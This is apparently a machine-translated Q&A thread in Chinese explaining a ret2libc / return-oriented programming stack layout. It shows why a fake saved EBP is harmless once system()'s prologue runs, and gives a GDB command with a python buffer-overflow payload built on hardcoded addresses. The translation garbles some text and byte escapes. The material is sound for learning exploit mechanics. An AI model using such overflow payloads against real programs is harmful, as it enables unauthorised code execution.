我一直在读这篇关于"面向返回编程"的文章,我对中的"调用参数"部分有一个问题
我所理解的是,我们需要一个正确格式的堆栈。然后返回我们不在乎的地址。他们这样设置堆栈:
| 0x8048580 <not_used> |
| 0x43434343 <fake return address> |
| 0x8048360 <address of system> |
| 0x42424242 <fake old %ebp> |
| 0x41414141 ... |
| ... (0x6c bytes of 'A's) |
| ... 0x41414141 |
其中地址0x8048360
是在损坏的函数完成后跳转到的地址,地址0x8048580
是一个参数。
我不明白的是,我们怎么可能有一个假的EBP地址。我的理解是,堆栈上的EBP地址在从函数返回之前弹出,然后EBP用于访问参数和局部变量。如果我们把假地址放在堆栈上,system
函数不是会使用这个假EBP地址来访问它的参数而不成功吗?
"system"函数会不会使用这个伪造的EBP地址访问它的参数而不成功?如果我们把假地址放在堆栈上,"系统"函数不是会使用这个假EBP地址来访问它的参数而不成功吗?
否。如果覆盖EBP,然后真的从函数返回给调用者,就会发生这种情况。由于您也覆盖了返回地址,因此您实际上从未返回到调用者,而是输入system
。返回system
时会发生什么:
0x0804847a <+22>: ... ; Here %ebp is still valid.
0x0804847f <+27>: leave ; Same as: mov %ebp, %esp; pop %ebp
0x08048480 <+28>: ret ; %ebp becomes invalid, but %esp is still valid.
|
v
0x08048360 <+0>: push %ebp ; Push the invalid value.
0x08048361 <+1>: mov %esp,%ebp ; Move %esp (valid) into %ebp ==> %ebp is now valid again.
这就是为什么你引用的文章说"假EBP",因为你并不真正关心它的价值。只要你的函数没有真正返回给调用者,你就可以了,你的ROP链将毫无问题地继续,因为你跳转到的每个函数都会有一个序言,就像上面的那个一样。
你可以通过在GDB下启动你的程序来测试这一点,如下所示:
$ gdb ./program
(gdb) break *0x08048480 # address of the 'ret' instruction
(gdb) run <<< "$(python -c 'print "A"*0x6c + "BBBB" + "x60x83x04x08" + "CCCC" + "x80x85x04x08"')"
然后,当您到达断点时,使用disassemble $eip
命令查看您所在的位置,然后继续使用si
(单步指令(,并使用info registers
查看每条指令后的寄存器值。